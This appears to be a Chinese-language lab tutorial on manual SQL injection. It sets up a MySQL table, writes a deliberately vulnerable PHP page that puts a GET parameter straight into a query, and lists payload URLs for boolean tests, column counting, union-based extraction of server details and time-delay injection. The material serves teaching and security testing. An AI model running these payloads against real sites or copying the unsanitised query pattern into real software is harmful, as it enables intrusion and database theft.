sql手工注入

原理

  • 利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

重点部份手工注入网站:

1:开发一个注入网页漏洞。(产生机理…,如何去挖掘一个网站注入漏洞)

A:创建数据库的后台(加入数据)

  • mysql> create database information;
  • mysql>use  information;
  • mysql> createtable user(id smallint(6) NOT NULL AUTO_INCREMENT,username varchar(60) NOTNULL,password varchar(60) NOT NULL,email varchar(100) NOT NULL,commentvarchar(100) NOTNULL,PRIMARY KEY(id));
  • desc user;

      B:插入数据

  • mysql> insertinto user(id,username,password,email,comment) values( 1,'daiv','123456','[email protected]','chendou');
  • mysql> insertinto user(id,username,password,email,comment) values( 2,'xjh','654321','[email protected]','gansu');
  • mysql> insertinto user(id,username,password,email,comment) values( 3,'mc','346546','[email protected]','yunlan');
  • mysql> insertinto user(id,username,password,email,comment) values( 4,'drs','346w678786','[email protected]','ls');
  • mysql> insertinto user(id,username,password,email,comment) values( 5,'wpl','3555786','[email protected]','gaoxing');
  • mysql> insertinto user(id,username,password,email,comment) values( 6,'ysz','6555786','[email protected]','gaoxing2');
  • insert intouser(id,username,password,email,comment) values( 7,'llei','6559986','[email protected]q.com','gaoxing4');

注入页面开发

  • <?php
  • //get接受参数,连接数据,定义执行一个SQL语句查询 ,返回查询数据库的内容到网页上面
  • $id=$_GET['name'];
  • //echo $id;
  • $conn=mysql_connect('127.0.0.1','root','root');
  • /*if($conn){
  • echo "本网页已成功连接后台数据库,请放心";
  • }
  • */
  • mysql_select_db("information",$conn);
  • $sql="select* from user where id=$id";
  • $result=mysql_query($sql);
  • while($row=mysql_fetch_array($result)){
  • echo "用户的ID号:".$row['id']."<br>";
  • echo "用户的姓名:".$row['username']."<br>";
  • echo "用户的密码:".$row['password']."<br>";
  • echo "用户的邮件:".$row['email']."<br>";
  • echo "用户所在城市:".$row['comment'];
  • }
  • mysql_close($conn);
  • echo"<hr>";
  • echo "执行SQL查询语句是:";
  • echo"select * from user where id=$id";
  • ?>

注意:用户提交的数据一定是带入数据库的操作。都有可能存在sql注入。

1:如何测试一个网页是否存在注入;

  • 127.0.0.1/my.php?name=1 and 1=1
    • 对空格进行了URL编码 空格表示为%20 页面返回成正常select * from user where id=1 and 1=1
  • 127.0.0.1/my.php?name=1 and 1=2
    • 页面返回成不正常
    • select * from user where id=1 and 1=2
  • 满足以上两点说明这个页存在SQL注入,或者是www.gaozhengmin.top/my.php?name=1’报错也在存注入漏洞。
  • And 两个为真才为真,如果一方为假结果为假。
  • Or  如果有一方为真结果才为真。

2:暴出后台数据库的表有5个字段

  • 127.0.0.1/my.php?name=1 order by 5
  • 127.0.0.1/my.php?name=1 order by (n)

3:使用union查询显示位。

  • 127.0.0.1/my.php?name=3 union select 1,2,3,4,5
  • sql手工注入

 

4:mysql函数讲解

  • 1:在显示们进行SQL信息的查询
    • 127.0.0.1/my.php?name=3 union select 1,database(),version(),4,5
    • sql手工注入

  • 2:mysql用户名user()
    • 127.0.0.1/my.php?name=-1 and 1=2 union select 1,2,3,4,user()
  • 3:系统的用户名system_user()
    • 127.0.0.1/my.php?name=-1 and 1=2 union select 1,2,3,system_user(),user()
    • sql手工注入

  • 4:当前用户名current_user()
    • 127.0.0.1/my.php?name=-1 and 1=2 union select 1,2,current_user(),system_user(),user()
    • sql手工注入

  • 5:数据库名database()
    • 127.0.0.1/my.php?name=-1 and 1=2 union select 1,database(),current_user(),system_user(),user()
    • sql手工注入

  • 6:数据库的版本version()
    • 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),user()
    • sql手工注入

  • 7:读取数据库路径 @@datadir
    • 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@datadir
    • sql手工注入

  • 8:读取网站的操作系统@@version_compile_os
    • 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@version_compile_os
    • sql手工注入

  • 9:保存临时文件和临时表的目录@@tmpdir
    • 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@tmpdir
    • sql手工注入

  • 10:插件目录的路径@@plugin_dir
    • 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@plugin_dir
    • sql手工注入

  • 11:错误日志的位置@@log_error
    • 127.0.0.1/my.php?name=-1 and 1=2 union select version(),database(),current_user(),system_user(),@@log_error
    • sql手工注入


    •  
  • MYSQL的注入数据实现原理
    • (ACCESS是能过**  MYSQL4.0及以下是通暴力**  MYSQL5.0及以上是能过information_schema来获取数据库的信息。MSSQL2008数据库有information_schema数据库来获取数据库里面的信息。
  • information_schema
    • information_schema是MYSQL5.0及以上的一个默认数据库。作用:information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema表里面。
  • 手工注入
    • SQL注入原理:客户端(浏览器)的变量(name)向网站服务器提交请求而name的值就是用启输入的值。而这个用户输入的值带入了后数数据库的查询 。我们可能通个这个变量进行SQL语句的构造得到我们想要的后台数据库的信息。(所造成的原因是开发者没有对用启的输入的数据进行过滤)一定记住用户输入的数据都是不安全的必须要经过过滤。
  • 延迟注入:
    • http://localhost/sqlinject.php?name=-1and sleep(10)